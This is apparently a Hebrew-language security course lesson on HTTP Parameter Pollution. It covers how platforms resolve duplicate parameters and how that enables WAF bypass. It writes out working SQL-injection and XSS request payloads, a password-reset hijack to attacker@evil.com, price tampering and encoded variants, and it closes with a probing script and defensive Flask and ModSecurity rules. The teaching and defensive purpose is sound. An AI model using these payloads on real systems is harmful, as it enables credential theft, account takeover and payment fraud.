לדלג לתוכן

זיהום פרמטרים - HTTP Parameter Pollution

מהו HPP?

זיהום פרמטרים (HPP - HTTP Parameter Pollution) היא טכניקה שמנצלת את הדרך שבה שרתים ו-WAFs מטפלים בפרמטרים כפולים. כאשר בקשה מכילה את אותו פרמטר יותר מפעם אחת, פלטפורמות שונות מגיבות באופן שונה. ה-WAF עשוי לבדוק ערך אחד, בעוד שהשרת משתמש בערך אחר.


איך פלטפורמות שונות מטפלות בפרמטרים כפולים

בקשה לדוגמה:

GET /page?id=1&id=2 HTTP/1.1

טבלת התנהגות לפי פלטפורמה

פלטפורמה התנהגות ערך שמתקבל
PHP/Apache לוקח אחרון 2
ASP.NET/IIS שרשור עם פסיק 1,2
JSP/Tomcat לוקח ראשון 1
Python Flask לוקח ראשון 1
Python Django לוקח אחרון 2
Express.js (Node) מחזיר מערך ['1', '2']
Ruby on Rails לוקח אחרון 2
Perl CGI לוקח ראשון 1
Go net/http לוקח ראשון 1

הדגמה בקוד

<?php
// PHP - לוקח את הערך האחרון
// GET /page?id=safe&id=malicious
echo $_GET['id']; // מדפיס: malicious
?>
// JSP/Servlet - לוקח את הערך הראשון
// GET /page?id=safe&id=malicious
String id = request.getParameter("id"); // מחזיר: safe

// אבל getParameterValues מחזיר את כולם
String[] ids = request.getParameterValues("id"); // ["safe", "malicious"]
// Express.js - מחזיר מערך
// GET /page?id=safe&id=malicious
app.get('/page', (req, res) => {
    console.log(req.query.id); // ['safe', 'malicious']

    // אם הקוד לא מצפה למערך, עלול לגרום לבעיות
    if (req.query.id == 'safe') {
        // ההשוואה תיכשל כי id הוא מערך!
    }
});
# Flask - לוקח את הערך הראשון
# GET /page?id=safe&id=malicious
from flask import request

@app.route('/page')
def page():
    id = request.args.get('id')  # מחזיר: safe
    ids = request.args.getlist('id')  # מחזיר: ['safe', 'malicious']
// ASP.NET - שרשור עם פסיק
// GET /page?id=1&id=2 UNION SELECT 3
string id = Request.QueryString["id"];
// id = "1,2 UNION SELECT 3"
// השרשור עצמו יכול ליצור מטען SQLi תקין!

HPP לעקיפת WAF

הרעיון המרכזי

אם ה-WAF בודק את הערך הראשון של פרמטר, אבל השרת משתמש באחרון (כמו PHP), אפשר לשים ערך תמים ראשון וערך זדוני שני:

# WAF בודק "id=1" - נראה תקין
# PHP משתמש ב-"id=1 UNION SELECT password FROM users--"
GET /page?id=1&id=1 UNION SELECT password FROM users-- HTTP/1.1

דוגמה מפורטת - עקיפת WAF ל-SQLi

# הבקשה הזדונית המקורית (נחסמת)
GET /page?id=1' UNION SELECT username,password FROM users-- HTTP/1.1

# עם HPP - פיצול המטען
GET /page?id=1&id=1' UNION SELECT username,password FROM users-- HTTP/1.1

# WAF רואה שני פרמטרים נפרדים:
#   id=1        -> נראה תקין
#   id=1' UNION SELECT... -> אולי בודק רק את הראשון
# PHP לוקח את האחרון -> ההזרקה מצליחה

דוגמה עם ASP.NET - שרשור

ב-ASP.NET המצב מעניין במיוחד. הפלטפורמה משרשרת ערכים עם פסיק:

# פיצול המטען לשני פרמטרים
GET /page?id=1 UNION/*&id=*/SELECT username FROM users-- HTTP/1.1

# ASP.NET משרשר: "1 UNION/*,*/SELECT username FROM users--"
# התוצאה היא SQL תקין כי הפסיק בתוך הערה!
# דוגמה נוספת עם שרשור ASP.NET
GET /page?id=1'/*&id=*/UNION/*&id=*/SELECT/*&id=*/password/*&id=*/FROM/*&id=*/users-- HTTP/1.1

# ASP.NET משרשר:
# "1'/*,*/UNION/*,*/SELECT/*,*/password/*,*/FROM/*,*/users--"
# כל הפסיקים בתוך הערות SQL - המטען תקין!

עקיפת WAF ל-XSS עם HPP

# מטען מקורי (נחסם)
GET /search?q=<script>alert(1)</script> HTTP/1.1

# עם HPP
GET /search?q=<script>alert&q=(1)</script> HTTP/1.1

# PHP (אחרון): q = (1)</script>   -> לא XSS שלם
# ASP.NET (שרשור): q = <script>alert,(1)</script>  -> הפסיק שובר את הקוד

# גישה חלופית - ניצול ההתנהגות של Express.js
GET /search?q=<script>&q=alert(1)&q=</script> HTTP/1.1
# Express.js: q = ['<script>', 'alert(1)', '</script>']
# אם הקוד משרשר את המערך: "<script>,alert(1),</script>"

HPP לבאגים לוגיים

דריסת פרמטרים פנימיים

# אפליקציה שמוסיפה פרמטרים בצד השרת
# הקוד מוסיף role=user לפני עיבוד
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=hacker&password=pass123&role=admin

# השרת מוסיף role=user, אבל ב-PHP הערך האחרון גובר
# אם הקוד:
#   $_POST['role'] = 'user';  // הגדרה פנימית
#   process($_POST);          // עיבוד
# אבל אם הפרמטר כבר קיים:
#   $_POST = parse_str($body) // role=admin מהמשתמש
#   $_POST['role'] = 'user'   // דורס
# הסדר תלוי באיך הקוד כתוב

מניפולציית תשלומים

# אפליקציית תשלומים ששולחת לשער תשלום
POST /checkout HTTP/1.1
Content-Type: application/x-www-form-urlencoded

item=laptop&price=999&price=1

# אם השרת בודק price=999 (ראשון)
# אבל שער התשלום מקבל price=1 (אחרון)
# -> תשלום של דולר 1 במקום 999

דריסת פרמטרי אימות

# מערכת איפוס סיסמה
POST /reset-password HTTP/1.1
Content-Type: application/x-www-form-urlencoded

email=victim@target.com&email=attacker@evil.com

# השרת שולח קישור איפוס ל-email
# אם לוקח ראשון: שולח ל-victim (לוגיקה נכונה)
# אם לוקח אחרון: שולח ל-attacker (ההתקפה הצליחה!)
# אם שולח לשניהם: attacker מקבל קישור איפוס של victim

HPP בשיטות HTTP שונות

HPP ב-GET

GET /api/user?id=1&id=2 HTTP/1.1

HPP ב-POST

POST /api/user HTTP/1.1
Content-Type: application/x-www-form-urlencoded

id=1&id=2

HPP משולב GET ו-POST

# חלק מהפלטפורמות מאפשרות שילוב GET ו-POST
POST /api/user?id=1 HTTP/1.1
Content-Type: application/x-www-form-urlencoded

id=2

# PHP: $_REQUEST['id'] תלוי בהגדרת request_order
# ברירת מחדל: POST דורס GET, אז id=2
# אבל $_GET['id']=1 ו-$_POST['id']=2

HPP בעוגיות - Cookies

GET /page HTTP/1.1
Cookie: session=legit; session=malicious

# רוב השרתים לוקחים את העוגייה הראשונה
# אבל חלק מה-WAFs בודקים רק את האחרונה

HPP ב-JSON

{
    "id": 1,
    "id": "1 UNION SELECT password FROM users--"
}

// רוב הפרסרים לוקחים את הערך האחרון של מפתח כפול
// WAF עשוי לבדוק רק את הראשון
import json

# Python json module - לוקח אחרון
data = json.loads('{"id": 1, "id": "malicious"}')
print(data['id'])  # "malicious"

דוגמאות מלאות לעקיפת WAF עם HPP

דוגמה 1 - SQLi דרך HPP ב-PHP

# שלב 1: מזהים שהשרת רץ על PHP (לוקח אחרון)
# שלב 2: בודקים שה-WAF בודק ראשון

GET /products?category=electronics&category=electronics' UNION SELECT username,password FROM users-- HTTP/1.1
Host: target.com

# WAF רואה category=electronics -> תקין
# PHP מקבל category=electronics' UNION SELECT username,password FROM users--

דוגמה 2 - XSS דרך HPP ב-ASP.NET

# ניצול השרשור עם פסיק של ASP.NET

GET /search?term=hello&term=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.com

# ASP.NET: term = "hello,<script>alert(document.cookie)</script>"
# הפסיק לא משפיע על ה-XSS

דוגמה 3 - HPP עם קידוד

# שילוב HPP עם קידוד URL
GET /page?id=1&id=1%27%20UNION%20SELECT%201-- HTTP/1.1

# שילוב HPP עם קידוד כפול
GET /page?id=1&id=1%2527%2520UNION%2520SELECT%25201-- HTTP/1.1

# שילוב HPP עם Unicode
GET /page?id=1&id=1%EF%BC%87%20UNION%20SELECT%201-- HTTP/1.1

סקריפט לזיהוי התנהגות HPP

import requests

def test_hpp_behavior(url, param_name="test"):
    """בדיקת איך השרת מטפל בפרמטרים כפולים"""

    # בדיקה עם GET
    params = f"{param_name}=FIRST&{param_name}=SECOND"
    r = requests.get(f"{url}?{params}")

    print(f"[*] בדיקת {url}")
    print(f"[*] בקשה: ?{params}")
    print(f"[*] סטטוס: {r.status_code}")

    body = r.text.lower()
    if 'first' in body and 'second' in body:
        if 'first,second' in body or 'first, second' in body:
            print("[+] התנהגות: שרשור (ASP.NET style)")
        else:
            print("[+] התנהגות: שני הערכים מופיעים (Express.js style)")
    elif 'first' in body and 'second' not in body:
        print("[+] התנהגות: ראשון (JSP/Flask style)")
    elif 'second' in body and 'first' not in body:
        print("[+] התנהגות: אחרון (PHP style)")
    else:
        print("[-] לא ניתן לזהות - הפרמטר לא מוצג בתגובה")

    # בדיקה עם POST
    data = {param_name: ['FIRST', 'SECOND']}
    r = requests.post(url, data=f"{param_name}=FIRST&{param_name}=SECOND",
                      headers={"Content-Type": "application/x-www-form-urlencoded"})
    print(f"\n[*] בדיקת POST")
    print(f"[*] סטטוס: {r.status_code}")

    body = r.text.lower()
    if 'first' in body and 'second' not in body:
        print("[+] POST התנהגות: ראשון")
    elif 'second' in body and 'first' not in body:
        print("[+] POST התנהגות: אחרון")
    elif 'first' in body and 'second' in body:
        print("[+] POST התנהגות: שניהם")


# שימוש
test_hpp_behavior("http://target.com/search", "q")

הגנה

נורמליזציית פרמטרים

# הגנה - דחייה של פרמטרים כפולים
from flask import Flask, request, abort

app = Flask(__name__)

@app.before_request
def check_duplicate_params():
    """חסימת בקשות עם פרמטרים כפולים"""
    for key in request.args:
        values = request.args.getlist(key)
        if len(values) > 1:
            abort(400, f"פרמטר כפול: {key}")

    if request.method == 'POST' and request.content_type == 'application/x-www-form-urlencoded':
        for key in request.form:
            values = request.form.getlist(key)
            if len(values) > 1:
                abort(400, f"פרמטר כפול: {key}")
# הגנה ב-ModSecurity - חסימת פרמטרים כפולים
SecRule &ARGS:id "@gt 1" \
    "id:1001,\
    phase:2,\
    deny,\
    status:400,\
    msg:'Duplicate parameter detected'"

עקרונות הגנה:
1. לדחות בקשות עם פרמטרים כפולים
2. לוודא שה-WAF והשרת מפרשים פרמטרים באותה דרך
3. לנרמל פרמטרים לפני עיבוד
4. להשתמש בפרסר אחיד בכל רכיבי המערכת


סיכום

HPP היא טכניקה אלגנטית שמנצלת את חוסר העקביות בין רכיבי מערכת. הבנת ההתנהגות של כל פלטפורמה היא קריטית - PHP לוקח אחרון, JSP ראשון, ASP.NET משרשר. בשילוב עם טכניקות קידוד, HPP הופך לכלי עוצמתי לעקיפת WAF. בתרגיל הבא נתרגל טכניקות אלו על פלטפורמות שונות.